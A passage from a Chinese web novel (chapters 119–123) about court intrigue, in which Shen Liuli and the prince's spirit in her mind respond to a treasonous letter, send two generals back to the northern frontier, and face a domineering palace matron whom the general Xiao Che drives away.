这些所谓的家丁,不仅身手高强,配合默契,他们所用的兵器和招式,更是处处透着一股,只有在尸山血海中,才能磨炼出的狠戾!
他们,根本就不是什么家丁!
他们是太傅府豢养多年的死士,“铁浮屠”!
“**!”萧彻一刀劈开一名铁浮屠的胸膛,忍不住骂了一句,“这老家伙,竟敢跟老子玩阴的?!”
看来,自己今夜,怕是也落入了敌人的陷阱!
……
就在陆风和萧彻,都陷入了绝境的时刻。
周府外,顾九,正一脸“悲愤”地,将一个点燃了引信的黑色陶丸,扔了出去!
“去**凤凰胆!”
“轰隆——!”
一声巨响!
整个周府,连同方圆数里内的大地,都开始颤抖起来!
紧接着,一股夹杂着刺鼻气味的黑色浓烟,冲天而起!
这突如其来的变故,不仅让正在**萧彻的铁浮屠,阵脚大乱!
更是让本已准备收网的周太傅,也当场愣住了!
“怎么回事?!”他看着窗外冲天的火光,脸上露出了不敢置信的惊骇!
而就在这片混乱中,陆风和萧彻,也终于找到了,那一线生机!
他们一南一北,同时朝着那座药房冲了过去!最终,他们在付出了一名狼卫重伤的代价后,成功地突围了。
可他们,却并未能拿到“凤凰胆”。反而,从那间早已被炸成了废墟的宝库中,带出了一份,更让他们感到不寒而栗的东西。
一封由周太傅亲笔所写,意图与南疆巫蛊部落,暗中勾结,共同图谋乾国江山的密信!
密信被陆风从带回揽月楼时,已是寅时。
天光未亮,都城尚在沉睡,望月台内却亮如白昼。
“**……”
顾九将最后一根沾着血污的银针从那名重伤狼卫的胸口拔出,长长地吐出了一口浊气,整个人几乎要虚脱在地。
他看着那个胸口剧烈起伏,却总算是从鬼门关前被拉了回来的狼卫,脸上终于露出了笑容。
“行了,命是暂时保住了。”他有气无力地对着一旁的春桃摆了摆手,“去把小爷那瓶珍藏了三十年的‘女儿红’拿来,再不去去晦气,小爷我怕是要折寿十年。”
春桃哪里还敢多言,连忙手脚并用地跑了出去。
密室内,气氛压抑得可怕。
萧彻独自一人坐在角落里,他没有看任何人,只是眼睛里,闪烁着一种,野兽般的光芒。
他本以为,自己面对的不过是些寻常的家丁护院,却不想,竟会是太傅府豢养多年的死士。他虽然成功地突围了,却也同样付出了三名心腹重伤的代价。
而陆风,则静静地站在舆图前,将密信呈到了沈琉璃的面前。
沈琉璃没有去接那封信,她只是看着陆风,看着他那张,被硝烟熏黑的脸,以及他身上那几道,深可见骨的伤口。
“你受伤了。”她的声音里,带上了几分担心。
“皮外伤,不碍事。”陆风摇了摇头。
“去,”沈琉璃没有再多说什么,只是对着门外,轻声吩咐道,“让张将军,亲自带人,将陆将军送去疗伤。”
“在没有我的允许之前,任何人不得打扰。”
“是!”
……
当密室内,只剩下沈琉璃一个人时,她缓缓地将密信,捧在了手心,她只是静静地看着这封。
“现在知道,战争的代价了吗?”
君北玄的声音,在她脑海中响起。
“王爷,”沈琉璃在心里,苦笑一声,“我只是没想到,会如此惨烈。”
“这算什么?”君北玄嗤笑一声,“不过是些,上不得台面的小打小闹罢了。真正的战争,远比你想象中,还要残酷百倍。”
“那你倒是说说,”沈琉璃反问道,“我们现在,该如何处理这份‘战利品’?”
“很简单。”君北玄的声音,变得无比果决,“立刻将这份密信,通过你的表哥,呈报给皇帝!周太傅这只老狐狸,既然敢在背后玩阴的,那我们便让他,尝尝被自己人背刺的滋味!”
“他不是想玩吗?”君北玄的声音里,带上了几分,连他自己都未曾察觉的笑意,“那我们,便玩到他永远不能翻身!”
……
第二日,清晨。
一场纷纷扬扬的大雪,将整个都城,都染成了一片素白。
三皇子府,书房。
当李琰,从沈琉璃派来的信使手中,接过那封密信时,他的手竟没来由地抖了一下。
他缓缓地将信展开,只看了一眼,脸上血色褪尽!
“好,好一个周太傅!”他将那封信,重重地拍在桌上,气得浑身发抖,“孤一直以为,他已经丁忧在家,不问世事!却不想,他竟敢做出此等大逆不道之事!”
“殿下息怒!”一旁的林大学士,连忙上前劝道,“事已至此,动怒无益。当务之急是,是如何将这份证据,呈报给陛下啊!”
“这还用说?!”李琰的眼中,燃烧着熊熊的烈火,“孤现在就进宫!孤要当着满朝文武的面,揭
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穿他这张伪善的面具!”
“不可!”林大学士连忙拦住他,“殿下!此事万万不可鲁莽!周太傅在朝中经营了数十年,党羽遍布,根深蒂固。您现在拿着这封,来历不明的信去见陛下,非但不能将他定罪,反而会让他反咬我们一口,说我们是在为了排除异己,而不择手段!”
“那依先生之见,该当如何?”
“等。”林大学士缓缓地吐出了一个字。
“等?”
“没错。”林大学士点了点头,“等一个,能让这封信,变得合理的机会。”
……
就在三皇子府,为了如何递上这把刀而苦恼的时候。
一封,由“四海商盟”送出的加急密信,也已悄无声息地送到了揽月楼。
信,是十三爷亲笔所写。
信上的内容很简单,却足以让任何人都感到不寒而栗。
“大徽东宫,已派监军大臣,兵部侍郎胡惟庸,前往北境‘巡查’。”
“此人,乃是太子君怀瑾的心腹,与肃王君北玄,素来不睦。”
“其人心狠手辣,宁杀错,不放过。”
“你那位‘盟友’的处境,怕是不妙了。”
当沈琉璃看到这封信时,她只觉得浑身的血液,都快要凝固了!
胡惟庸!
这个名字,她曾在君北玄的口中,听过一次!
这是一个,连君北玄,都颇为忌惮的名字!
“**!”
在沈琉璃的脑海中,君北玄的咆哮声,轰然炸响!
“君怀瑾!这个混蛋!他竟敢派这么一条疯狗,去咬我的兵?!”
他从未像此刻这般,愤怒过。
那种感觉,就像是自己最心爱的玩具,被一个自己最讨厌的人,当着自己的面,给狠狠地踩在了脚下!
“王爷,您先冷静!”沈琉理在心里,低喝一声,“您现在发怒,解决不了任何问题!”
“本王如何冷静?!”君北玄怒道,“胡惟庸此人,是我大哥的走狗!他此行,名为巡查,实为**!北境那几个副将,虽然忠心,却都是些直肠子的武将,哪里是这个老狐狸的对手?!不出半月,整个北境的兵权,都将落入他的手中!”
“届时,他便可名正言顺地,以‘肃王久病不出,恐有不测’为由,强行闯入帅帐!”
“一旦本王‘身死’的消息暴露,那三十万大军的军心,便会瞬间崩溃!到那时,不仅是北境,便是整个大徽王朝,都将陷入万劫不复的深渊!”
君北玄的这番话,让沈琉理的心,也沉入了谷底。
她从这个男人的声音里,听出了焦躁与无力。
他不再是那个,运筹帷幄的战神。
他只是一个,眼睁睁地看着自己的基业,即将被摧毁,却又无能为力的男人。
她看着窗外那,早已被风雪覆盖的庭院,竟没来由地生出了一股情绪。
她缓缓地走到书案前,铺开一张空白的宣纸,开始研墨。
“你在做什么?”君北玄的声音里,充满了困惑。
“没什么。”沈琉璃没有回头,只是轻声说道,“只是觉得,这雪下得这么大,一个人看,未免有些太冷清了些。”
她提笔蘸饱了墨,在那张洁白的宣纸上,画了一幅极其简单的画。
画上,只有一座被风雪覆盖的孤城和一轮早已失去了温度的残月。
她没有再多说什么。
只是,安静地陪着他,坐了整整一夜。
第120章 北境危机
这一夜,晚晴居的烛火燃了整整一夜,未曾熄灭。
沈琉璃最终也没有去歇息,她只是安静地坐在书案前,陪着那个在她脑海中,陷入了死寂的灵魂。
她没有再多问一句,也没有再多说一句安慰的话。
她知道,对于君北玄这样一个,将荣耀与麾下将士的性命看得比天还重的男人而言,任何语言上的安慰都显得苍白无力。
陪伴,是她此刻唯一能给的,也是他唯一需要的。
直到天边泛起了一抹鱼肚白,第一缕晨光穿透窗棂,驱散了满室的寒意。君北玄的声音,才终于在她脑海中,沙哑地响起。
“天亮了。”
“是啊,王爷,”沈琉璃站起身,推开窗,任由那带着雪意的清新空气涌入房间,“天亮了。”
她一夜未眠,眼中布满了血丝,可她的精神却异常清醒。
然而,这份短暂的平静,却被一阵急促的脚步声打破了。
是忠叔。
他甚至顾不上任何礼仪,便直接推门而入,脸上满是凝重。
“小姐!”他将一封用飞鹰传回的加急密信,呈了上来,“北境,又出事了!”
沈琉璃的心,猛地一沉!
她接过那封信,将其展开。信是顾九亲笔所写,上面的字迹,潦草得几乎要飞起来,足以看出写信之人的心,到底有多乱。
“主公亲启:”
“胡惟庸那条老狗,疯了!”
“就在昨日,他竟以‘军中操练懈怠,军容不整’为由,当着三军将士的面,下令将王副将,拖出去重责了三十军棍!王副将如今,已是身受重伤,人事不省!”
“不仅如此,他还以‘肃王殿下久病不出,恐有不测’为名,强行接管了北境大营的粮草与军械!更是放出话来,三日之内,若是再见不到王爷,他便要请出太子殿下亲赐的尚方宝剑,将所有不听号令的人,尽数以谋逆罪,就地格杀!”
这哪里是什么巡查?
这分明就是,直接的**!
“**!”
在沈琉璃的脑海中,君北玄的咆哮声,轰然炸响!
“王德发那个夯货!本王早就跟他说过,胡惟庸此人阴险狡诈,不可与他正面硬刚!他怎么就是不听?!”
他口中的王副将,正是北境三十万大军中,资历最老,也最是忠心耿耿的一员猛将。三年前,他唯一的儿子,便是在“黑石关”一役中,为了掩护君北玄,而惨死于蛮族的铁蹄之下。
君北玄待他,早已是情同父子。
如今,竟**惟庸那个阉人,当着三军将士的面,打得人事不省?!
“王爷,您先冷静!”沈琉璃在心里,低喝一声,“您现在发怒,解决不了任何问题!”
“本王如何冷静?!”君北玄怒道,“胡惟庸已经将刀架在了所有人的脖子上!他这是在逼宫!他就是要逼着陆风他们,与他撕破脸!届时,他便可名正言顺地,将整个北境都给血洗一遍!”
他从未像此刻这般,焦躁过。
那种感觉,就像是眼睁睁地看着自己的家,即将被一场大火吞噬,而自己却被困在千里之外,无能为力。
“王爷,”沈琉璃没有再劝他,她只是静静地走到那幅早已干透了的画前,“您还记得,您之前跟我说过的,北境的冬天吗?”
“什么?”君北玄的思绪,被她这突如其来的一问,给打断了。
“您说,北境的雪很大,很冷。冷到,能将人的骨头都给冻住。”她缓缓说道,“可您也说过,只有在那种地方,才能看到最干净的星空,喝到最烈的好酒。”
“也只有在那里,才能交到一群可以将后背,都托付给彼此的兄弟。”
她这番话,让君北玄那颗因为愤怒而剧烈跳动的心,渐渐地平复了下来。
是啊……
北境……
那是他的家。
“胡惟庸,不懂北境。”他喃喃自语,声音里带上了几分,连他自己都未曾察觉的疲惫,“他以为,凭着一道圣旨,几句威胁,就能让这些,在尸山血海里爬出来的汉子们,对他俯首称臣吗?”
“他错了。”
“他越是如此,便越是会激起他们心中,那股被压抑了三年的血性。”
“可血性,是杀不了人的。”沈琉璃摇了摇头,“它只会让更多的人,白白地死去。”
君北玄沉默了。
他知道,这个女人说得对。
“所以,”沈琉璃转过身,看着他,“我们不能再等了。”
“我们必须,立刻派人回去。”
“派谁回去?”君北玄的语气里,充满了无奈,“陆风虽然忠心,却不善言辞。让他去冲锋陷阵,他能以一当百。可让他去跟胡惟庸那种老狐狸玩心眼,他只有被人生吞活剥的份。”
“至于顾九那个酒鬼,”他继续说道,“他虽然脑子够用,可他在军中,并无实权。他那些‘神神鬼怪’的法子,骗骗寻常的妇人还行,想去唬住胡惟庸那种,早已是人精中的人精,无异于痴人说梦。”
“那若是,”沈琉璃看着他,缓缓开口,“让他们两个,一起回去呢?”
“什么?!”
“一个,是您手中最锋利的刀。”沈琉璃继续说道,“另一个,则是您手中最刁钻的软剑。”
“一明一暗,一刚一柔。”
“王爷,”她的眼中,闪烁着智慧的光芒,“您不觉得,这才是能将胡惟庸那张虚伪面具,给彻底撕碎的最好组合吗?”
君北玄,再一次沉默了。
他不得不承认,这个女人的想法,虽然大胆,却是眼下破局的唯一方法。
“好。”最终,他从牙缝里挤出了这个字。
“只是,”他话锋一转,声音变得无比凝重,“他们一旦走了,你在这乾国,便等于是孤身一人。萧彻那头疯狼,还在暗处虎视眈眈,你……”
“我没事。”沈琉璃打断了他,脸上露出了一个极其自信的笑容,“王
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爷,您是不是忘了,我这只小狐狸已经长大了,最擅长的便是与虎狼周旋了。”
“再说了,”她的声音里,带上了几分,连她自己都未曾察觉的温柔,“这不是还有您在吗?”
君北玄的灵魂,没来由地狠狠一颤。
他看着眼前这个,笑得如此灿烂的少女。
心中,竟没来由地,生出了一股说不清的情绪。
决定,一旦做出,便再无更改的余地。这场关乎北境三十万大军生死存亡的豪赌,已悄然开局。
君北玄没有再反对。
他虽然依旧认为此举太过冒险,却也不得不承认,这是眼下破局的唯一,也是最好的方法。
他只是,陷入了长久的沉默。
那种感觉,就像一个经验丰富的棋手,眼睁睁地看着自己棋盘上,最重要的两枚棋子,即将被投入到一个,完全未知的战场,而自己却只能在棋盘之外,无能为力地观望。
沈琉璃知道,他需要时间。
她没有再打扰他,只是吩咐春桃,备上一桌最丰盛的酒菜,又让忠叔亲自去揽月楼的酒窖,取来了几坛早已封存了十年的“梨花白”。
今夜,她要为即将远行的两位盟友,设宴践行。
……
夜,渐深。
揽月楼顶层,望月台内,气氛压抑得可怕。
一张巨大的圆桌,被安放在了房间的正中央。
桌上,摆满了各式各样,由揽月楼大厨亲手烹制的珍馐美味。可桌旁的几人,却皆是神情凝重,谁也没有动筷。
顾九,早已换下了一身儒袍,穿上了一身便于行动的黑色劲装。
他没有再像往常一样,抱着自己的酒葫芦不放,只是将一个看起来再寻常不过的药箱,小心翼翼地放在了自己的手边。
“主公,”他看着沈琉璃,将一张早已写好了的药方和十几个用蜡丸封好的小瓷瓶,轻轻地推了过去,“这里面,是能暂时压制住那孩子体内寒毒的药方,以及足够支撑半年的药量。”
“记住,”他的声音,变得无比凝重,“此药需以温水化开,每日午时三刻,准时服用,一刻也不能多,一刻也不能少。”
“还有,这里面,装的是‘百草香’。”他又从怀中,取出了一个不起眼的香囊,递给了春桃,“你家小姐体弱,北境苦寒,让她将此物随身携带,可驱散寒气,百虫不侵。”
他说得事无巨细,将所有能想到的细节,都一一交代清楚。
那副模样,哪还有半分平日里玩世不恭的模样?倒更像一个,即将远行的长辈,在为自己最疼爱的晚辈,做着最后的嘱托。
“知道了,顾先生。”春桃的眼眶,早已是红了一圈,她接过那个香囊,声音里带上了几分哽咽,“您自己也要多加小心啊。”
“放心,”顾九笑了笑,他端起面前的酒杯,一饮而尽,“小爷我这辈子,什么大风大浪没见过?区区一个胡惟庸罢了,还奈何不了我。”
第121章 没有不散的宴席
顾九说完,将目光投向了陆风。
他没有参与讨论,只是独自一人坐在角落里,用一块干净的布帛,一遍又一遍地擦拭着自己的玄铁战刀。
刀身如秋水,寒光凛冽。
他的动作很慢,很稳。
而在他的对面,则坐着另一个,同样沉默不语的男人。
萧彻。
他没有喝酒,也没有说话。
他只是静静地看着眼前的这两个,曾经与他并肩作战,如今却早已是形同陌路的同袍。
他的眼神,很复杂。
“怎么?”顾九看着他,忽然笑了,“萧大将军,莫不是也想,与我们一同重返北境,去会一会那位‘英明神武’的太子殿下?”
他这番话,说得极其不客气,将“太子殿下”四个字,咬得极重。
萧彻的脸色,猛地一沉!
他那只握着酒杯的手,青筋暴起,几乎要将那只杯子,给生生捏碎!
“顾九,”他缓缓开口,声音沙哑,“你这是在找死吗?”
“呵呵,萧将军说笑了。”顾九却像是没有看到他眼中的杀意,他将杯中酒一饮而尽,继续说道,“我只是有些好奇罢了。”
“我倒是想知道,”他的眼中,闪过了一抹讥讽,“你这位,当年在‘黑石关’下,能为了军功,而毫不犹豫地将三万降卒都尽数坑杀的‘英雄’。如今,又是为何,会心甘情愿地,给一个通敌**的懦夫当狗呢?”
“你!”
萧彻猛地站起身,一把扼住顾九的衣领,将他整个人都给提了起来!
“你再给老子说一遍?!”
“我说,”顾九看着他,脸上没有半分惧色,“你是个,连自己为何而战,都不知道的可怜虫!”
“你以为,你是在为太子殿下效忠吗?!”
“不!”他摇了摇头,“你只是在为自己那份,早已被狗吃了的骄傲,而战罢了!”
“够了!”
一声暴喝,从主位上传来!
沈琉璃缓缓地站起身,她的目光,在场每一个人的脸上,缓缓扫过。
“今夜,是践行宴。”她沉声说道,“谁若是再敢在此处,挑起内讧。”
“那便不必走了。”
“留下来,替我看着这座城吧。”
她这番话,说得极其平静,却让在场所有人的心,都猛地一沉!
萧彻的身体,猛地一僵。
他缓缓地,松开了那只扼住顾九衣领的手。
“算你狠。”他从牙缝里,挤出了这三个字。
随即,他便不再看任何人,只是独自一人走到了窗边。
一场即将爆发的内讧,就这么被沈琉璃,轻描淡写地给压了下去。
……
酒过三巡,菜过五味。
就在这场践行宴,即将结束的时候。
一直沉默不语的陆风,终于动了。
他缓缓地站起身,走到了张启年的面前。
他没有说话,只是将自己那柄玄铁战刀,连同刀鞘,一并解了下来,轻轻地放在了张启年的面前。
张启年的身体,猛地一震!
他看着眼前这柄,早已是伤痕累累的战刀,眼中充满了不敢置信!
他当然认得这柄刀!
这是,狼卫统领的佩刀!
是整个北境三十万大军中,除了肃王君北玄的佩剑外,最高权力的象征!
他将这柄刀交给自己,这便等于,是将整个狼卫在乾国的指挥权,都交到了自己的手上!
“陆……陆将军……”他的声音,都在发颤,“您这是……”
“护好她。”
陆风没有再多说什么。
他只是对着张启年,重重地一抱拳。
随即,他便不再有半分停留,转身大步流星地朝着门外走去。
“**!”顾九看着他这副,潇洒离去的背影,忍不住骂了一句,“这个闷葫芦,真是越来越会装了!搞得好像,生离死别似的!”
他说着,也站起身,将自己那坛,早已喝了一半的“女儿红”,扔给了春桃。
“丫头,接着!”他懒洋洋地说道,“这坛酒,就当是小爷我,提前送给你家小姐的嫁妆了!省着点喝,这可是绝版!”
他说完,同样头也不回地,追着陆风的背影,快步离去。
沈琉璃看着窗外,早已是空无一人的庭院,心中竟没来由地生出了一股,她自己也说不清的情绪。
有不舍,有担忧,但更多的,是一种前所未有的孤独。
她知道,从今天起,在这片**的土地上,便真的只剩下自己一个人了。
然而,就在她准备,转身离去的时候。
一道黑色的身影,却悄无声息地,出现在了她的身后。
是陆风。
他去而复返。
“主公。”他看着沈琉璃,沉声说道。
“陆将军还有何事?”
陆风没有说话,他只是,从怀中取出了一个,用油布包裹得严严实实的锦囊,递了上去。
“这是……”
“主公,”陆风看着她,一字一顿地说道,“萧彻,是狼,不是犬。”
“狼,永远也喂不熟。”
“他今日,虽然暂时屈服于您。可他心中那份,对王爷的恨却从未消散。”
“这份锦囊,是属下为您准备的最后一道防线。”
“若有一日,他真的起了反心,对您不利。”
“您便,打开它。”
陆风没有再多说什么,只是将那个沉甸甸的锦囊,郑重地放在了沈琉璃的手中。
“主公,保重。”
他说完,便不再有半分停留,转身消失在了沉沉的夜色中。
整个望月台,终于彻底地安静了下来。
沈琉璃的手中,紧紧地攥着那个,由陆风留下的锦囊。
“怎么?”君北玄的声音,在她脑海中响起,“舍不得了?”
“王爷,”沈琉璃在心里,苦笑一声,“您不觉得,您现在说风凉话的本事,比您当年领兵打仗的本事,还要厉害几分吗?”
“哼,妇人之仁。”君北玄虽然嘴上这么说,但声音里的那份凝重,却是怎么也掩盖不住,“陆
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风说得对,萧彻这头疯狼,确实是个麻烦。你日后与他周旋,万万不可掉以轻心。”
“我知道。”沈琉璃点了点头,她将那个锦囊,小心翼翼地收入怀中,她的声音里,带上了几分,连她自己都未曾察觉的温柔,“不是还有您在吗?”
君北玄的灵魂,没来由地狠狠一颤。
……
第二日,清晨。
一场纷纷扬扬的大雪,将整个都城,都染成了一片素白。
一辆毫不起眼的青布马车,悄无声息地从揽月楼的后门驶出,汇入了都城川流不息的人潮之中。
车上只有,两个看起来再寻常不过的男人。
顾九的脸上,还带着几分病态的苍白,可那双总是带着几分醉意的桃花眼,此刻却是一片清明。
“**……”他将手中的酒葫芦往嘴里猛灌了几口,对着身旁那个,面无表情的陆风,大吐苦水,“我说陆大统领,您说咱们这算不算是,千里送人头啊?我怎么觉得,咱们这马车不像是去北境,倒像是直接开往阎王殿的呢?”
陆风没有理会他的抱怨,只是静静地坐着。
“喂,我说你这个闷葫芦,”顾九看着他这副,油盐不进的模样,忍不住翻了个白眼,“你好歹也说句话啊!咱们这次回去,面对的可是胡惟庸那个老狐狸!你当真就一点也不怕?”
“怕,有用吗?”
许久,陆风才缓缓开口,声音沙哑。
顾九被他这句反问,给噎得半天说不出一个字。
是啊,怕有用吗?
他看着窗外的街道,只觉得自己的心中,也同样是一片苍凉。
……
就在陆风和顾九,踏上返回北境的漫漫长路的时候。
乾国皇宫的御书房内,灯火通明,檀香袅袅。
皇帝李承渊,正独自一人,对着一盘早已下成了死局的棋,凝神沉思。
“陛下。”
陈公公悄无声息地,从殿外走了进来,跪倒在地。
“如何?”皇帝没有回头,只是淡淡地问道。
“都已按您的吩咐,办妥了。”陈公公的声音,压得极低,“‘那两个’,已经上路了。”
“嗯。”皇帝点了点头,缓缓地站起身,走到了那副,挂在墙上的乾国舆图前。
“常德啊,”他看着舆图上,那片代表着北境的疆域,悠悠说道,“你说,朕的这几个儿子,到底哪个才最像朕呢?”
“奴才……奴才愚钝。”陈公公将头,埋得更低了。
“呵呵,”皇帝笑了笑,“你只是,不敢说罢了。”
……
几天后的一个清晨,一队由大徽王朝派出的使团,在金吾卫的护送下,浩浩荡荡地抵达了都城。
为首的是一位来自大徽宫廷,据说在皇后面前,极有体面的教养嬷嬷,容嬷嬷。
一时间,整个都城,都为之失声。
所有人都心知肚明,大徽王朝此举,名为教导礼仪,实为婚前验货!
这不仅仅是对沈琉璃的考验,更是对整个乾国皇室的**!
第122章 大徽王朝的规矩
尚书府,晚晴居。
当这位,年近花甲,脸上不带半分笑容的容嬷嬷,在一众宫人的簇拥下,缓缓走进这座庭院时。
春桃只觉得一股,比冬日里的寒风,还要刺骨的冷意,瞬间袭遍了全身。
她下意识地上前一步,想将自家小姐护在身后,却被容嬷嬷身旁的两名侍女,给不动声色地拦了下来。
“沈大小姐,”容嬷嬷没有看任何人,她的目光,只是平静地落在了沈琉璃的身上,“老奴奉大徽皇后娘娘之命,前来教导大小姐,我大徽宫廷的礼仪规矩。”
她的声音,很轻,很慢,却带着一种让人无法抗拒的压力。
“有劳嬷嬷了。”沈琉璃对着她,盈盈一拜。
“不敢。”容嬷嬷摇了摇头,“只是这规矩二字,向来是由内而外。大小姐身边伺候的人,怕是也要好生学一学了。”
她这番话,看似平淡,实则却是字字诛心!
她竟是要,从沈琉璃的身边人,开始下手!
“来人,”她对着身后的侍女,淡淡地吩咐道,“将这位春桃姑娘,带下去。”
“从今天起,沈大小姐的饮食起居,便由我们的人,全权负责。”
“你们要做什么?!”春桃的脸色,猛地一变!她挣脱开那两名侍女的手,一把抱住沈琉璃的大腿,哭喊道,“小姐!您不能让他们带我走啊!”
“放肆!”容嬷嬷的眼中,寒光一闪,“在未来的太子妃面前,如此大呼小叫,成何体统?!掌嘴!”
“是!”
一名身材高大的侍女,应声上前,扬手便要朝着春桃的脸上,狠狠地扇去!
“住手!”
沈琉璃的声音不大,却异常清晰。
她缓缓地站起身,将早已吓傻了的春桃,护在了自己的身后。
“嬷嬷,”她看着容嬷嬷,缓缓说道,“春桃是我的贴身丫鬟,自我幼时起便跟在我身边,情同姐妹。她若是有何处做得不对,您罚我便是了,何必与一个丫头,一般见识?”
她这番话,说得不卑不亢,将所有的责任都揽在了自己身上。
“哦?”容嬷嬷看着她,脸上露出了一个,似笑非笑的表情,“看来,沈大小姐是准备,为了一个奴才,与老奴我公然为敌了?”
“不敢。”沈琉璃摇了摇头,“我只是,在维护我尚书府的体面罢了。”
“体面?”容嬷嬷笑了,“沈大小姐,您似乎忘了,您很快便是我大徽的太子妃了。您的一言一行,代表的便是我大徽皇室的颜面。”
“一个连自己身边的奴才,都管教不好的主子,您觉得会有体面吗?”
她这番话,如同一座大山,狠狠地压在了沈琉璃的心上!
她知道,自己今日若是退了,那她在这座庭院里,便再无半分立足之地!
“嬷嬷教训的是。”最终,沈琉璃缓缓地开了口。
她转过身,看着早已哭成了泪人的春桃,声音里带上了几分疲惫。
“春桃,”她轻声说道,“你先下去吧。”
“小……姐……”
“去吧。”沈琉璃摇了摇头,“我没事。”
……
接下来的几日,整个晚晴居,都笼罩在一种,令人窒息的压抑气氛中。
沈琉璃的生活,被一张由容嬷嬷亲手制定的作息表,给安排得满满当当。
从每日清晨的请安礼,到用膳时的坐姿,再到夜间就寝前的熏香……
每一个细节,都必须严格地按照,大徽宫廷的规矩来!
稍有差池,便会迎来容嬷嬷,那不带任何感情的训斥。
而春桃,则被彻底地隔绝在了晚晴居之外,每日里只能在院门外,眼巴巴地望着,却连自家小姐的面,都见不到。
沈琉璃,就像一只被关在笼子里的金丝雀,被一点一点地磨平了所有的棱角。
她所有的反抗,在那套,早已传承了数百年的宫廷规矩面前,都显得是那么地苍白无力。
“**!”
在沈琉璃的脑海中,君北玄的咆哮声,几乎要将她的意识给掀翻了!
“这个老妖婆!她简直是欺人太甚!沈琉璃,你还在等什么?!让张启年带人,将这个老东西,给本王乱棍打出去!”
“王爷,”沈琉璃在心里,苦笑一声,“您是不是忘了,她代表的不是她自己,是整个大徽皇室。我若是动了她,那便等于,是在公然地向君怀瑾宣战。”
“那你说怎么办?!”君北玄气得在她脑子里来回踱步,“难道就任由她,将你给折磨死吗?!”
“不。”沈琉璃摇了摇头,“我只是在等,等一个能让她自己滚出去的机会。”
……
就在沈琉璃,被困在晚晴居,与容嬷嬷斗智斗勇的时候。
一个谁也想不到的人,却悄无声息地找上了门。
那是一个,身着黑色重甲,脸上带着一道狰狞刀疤的男人。
正是萧彻!
他没有走正门,而是直接翻墙而入,如同一尊来自地狱的修罗,出现在了晚晴居的庭院中!
他的出现,瞬间让那些,平日里嚣张跋扈的东宫侍女们,吓得花容失色,连滚带爬地躲进了屋里!
唯有容嬷嬷,在经历了最初的震惊后,却迅速地冷静了下来。
她看着眼前这个,煞气冲天的男人,缓缓地开了口。
“萧将军,”她的声音,不带任何感情,“您这是什么意思?难道,您是想在这里,公然地违抗太子殿下的命令吗?”
“命令?”萧彻笑了,“老子只知道,殿下让老子来乾国,是来‘护卫’未来太子妃的。”
“如今,太子妃被人欺负到了家门口,我这个做下人的,若是再不出来说句话,”他的眼中,闪烁着疯狂的光芒,“那岂不是,太不给殿下他老人家面子了?”
他说着,便将那柄,早已沾满了血污的断头刀,重重地插在了身旁的石桌上!
刀锋入石三分!
“你!”
“我什么我?”萧彻看着她,缓缓说道,“老子今天就把话撂在这儿了。”
“沈琉璃,是老子的人。”
“谁若是再敢动她一根汗**,”他的声音,变得无比幽冷,“那便是不给我萧彻面子。”
“不给我面子的下场……”
他没有把话说完,但那未尽之
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意,却比任何威胁,都更令人感到寒冷。
容嬷嬷的脸上,终于出现了一丝裂痕。她久居深宫,见过的骄横跋扈之辈不知凡几,却从未见过像眼前这样,完全不按常理出牌的疯子。
她当然知道萧彻是谁,更知道他背后代表的是太子殿下。可也正因为如此,她才更加想不通,为何太子殿下派来的刀,竟会反过来指向自己人?
“萧将军,您似乎忘了,老奴也是奉了皇后娘娘与太子殿下的懿旨前来。”她强作镇定,说道,“您今日此举,莫不是要为了一个外人,与整个东宫为敌吗?”
“老子不懂什么东宫西宫!”萧彻将脚踩在石凳上,姿态嚣张,“老子只知道,殿下让我护着她,那她就是我的人,谁敢动她,就是动我。我不管你是皇后的人还是谁的人,在我这儿,都得守我萧彻的规矩!”
这番话,说得蛮横无理,却也同样,将容嬷嬷所有的退路,都堵得死死的。
跟一个疯子,是讲不通道理的。
“好,很好。”最终,她缓缓地点了点头,“将军的这份忠心,老奴定会一字不落地,转告给娘娘和殿下。”
她没有再多说什么,只是对着屋内的侍女,淡淡地吩咐了一句:“我们走。”
看着容嬷嬷等人,狼狈离去的背影,沈琉璃才缓缓地从屋内走了出来。
“多谢将军,为我解围。”她对着萧徹,盈盈一拜。
“不必。”萧彻将断头刀从石桌中拔出,扛在了肩上,看都未看她一眼,“我不是在帮你,我只是在告诉君怀瑾,你还轮不到别人来教训。”
他说完,便纵身一跃,再次消失在了高墙外。
“小姐!太好了!那个老妖婆终于走了!”春桃不知从哪个角落里钻了出来,脸上满是喜悦。
沈琉璃看着她,脸上却没有半分轻松。
她知道,自己只是走进了一个更深的漩涡。萧彻的出现,虽然暂时解了她的围,却也同样将她推到了大徽东宫的对立面。
“王爷,”她在心里,苦笑一声,“您说,我这是不是才出狼窝,又入虎穴啊?”
“哼,何止是虎穴?”君北玄的声音,在她脑海中响起,“你现在,是站在两头老虎的中间玩火。”
“不过,”他话锋一转,声音里竟带上了几分,连他自己都未曾察觉的笑意,“你这招‘驱虎吞狼’,倒还真有几分本王当年的风范。”
“王爷过奖了。”沈琉璃在心里,平静地回应,“我只是在想,既然他们都想把我当成棋子,那我为何不能将他们也变成我的棋子呢?”
她缓缓地走到书案前,铺开一张空白的宣纸。
“春桃,”她开口吩咐道,“将笔墨纸砚拿过来。”
“小姐,您要写字?”
“不,”沈琉璃摇了摇头,“我要学习。”
“我要学,那套能将人活活困死的规矩。”
“我要将这座囚笼,变成我自己的学堂。”
“我要让容嬷嬷,心甘情愿地,将她所有的本事都教给我。”
“我要让她,亲手为我打造出一副,足以在大徽后宫,横行无忌的铠甲!”
第123章 出嫁前夕
第二日清晨,当第一缕阳光穿透晚晴居的窗棂时,沈琉璃便已起了身。
她没有像往常一样,由着性子赖床,而是严格地按照容嬷嬷留下的作息表,一丝不苟地开始梳洗。
“小姐,您这是做什么呀?”春桃端着铜盆走了进来,看着自家小姐那副严肃的模样,满心困惑,“那个老妖婆都走了,您怎么还……”
“她会回来的。”沈琉璃对着铜镜,将最后一根发簪稳稳地插入发髻,声音平静无波,“而且是哭着求我,让她回来。”
“啊?”春桃的脑子,彻底当机了。
沈琉璃没有再过多解释,她换上了一身素净的衣裙,亲自走到茶室,开始烹茶。
她烹茶的每一个动作,都像是在进行一场庄重的仪式。从择水、烫杯,到注水、闻香,每一个细节,都与容嬷嬷前几日教导她的一般无二。
那不再是被动的学习,而是一种主动的掌控。
她烹好的也并非乾国常见的清茶,而是一壶,产自大徽王朝,据说只有皇后才有资格品尝的“金丝凤芽”。
“春桃,”她将一杯琥珀色的茶汤,推到了春桃的面前,“尝尝。”
春桃受宠若惊地接过茶杯,浅呷一口,只觉得一股馥郁的香气,瞬间在唇齿间炸开,让她整个人都精神为之一振。
“好……好香啊!”
